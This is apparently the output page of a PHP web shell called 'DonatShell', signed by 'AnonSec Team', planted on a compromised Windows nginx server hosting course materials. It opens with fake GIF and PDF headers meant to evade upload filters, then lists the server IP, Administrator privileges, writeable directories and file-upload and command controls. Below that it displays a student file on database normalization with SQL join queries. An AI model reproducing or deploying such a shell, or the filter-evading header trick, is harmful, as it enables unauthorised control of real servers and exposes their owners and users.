GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/Resources/Examples/Normilization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/Resources/Examples/Normilization/essentialsql.txt
Employee (EmployeeID*, SalesPerson, SalesOffice@(SalesOffice.SalesOfficeID))

SalesOffice (SalesOfficeID*, SalesOfficeLocation)

Customer (CustomerID*, CustomerName)

Employee_Customer (EmployeeID*@,CustomerID*@)

Get SalesOffice for Ford

SELECT SalesOfficeLocation
FROM SalesOffice
JOIN Employee ON Employee.SalesOffice = SalesOffice.SalesOfficeID
JOIN Employee_Customer ON Employee_Customer.EmployeeID = Employee.EmployeeID
JOIN Customer ON Customer.CustomerID = Employee_Customer.CustomerID
WHERE CustomerName = 'Ford'

SELECT SalesOfficeLocation
FROM Customer
JOIN Employee_Customer ON Employee_Customer.CustomerID = Customer.CustomerID
JOIN Employee ON Employee.EmployeeID = Employee_Customer.EmployeeID
JOIN SalesOffice ON SalesOffice.SalesOfficeID = Employee.SalesOffice
WHERE CustomerName = 'Ford'

Anon7 - 2022
AnonSec Team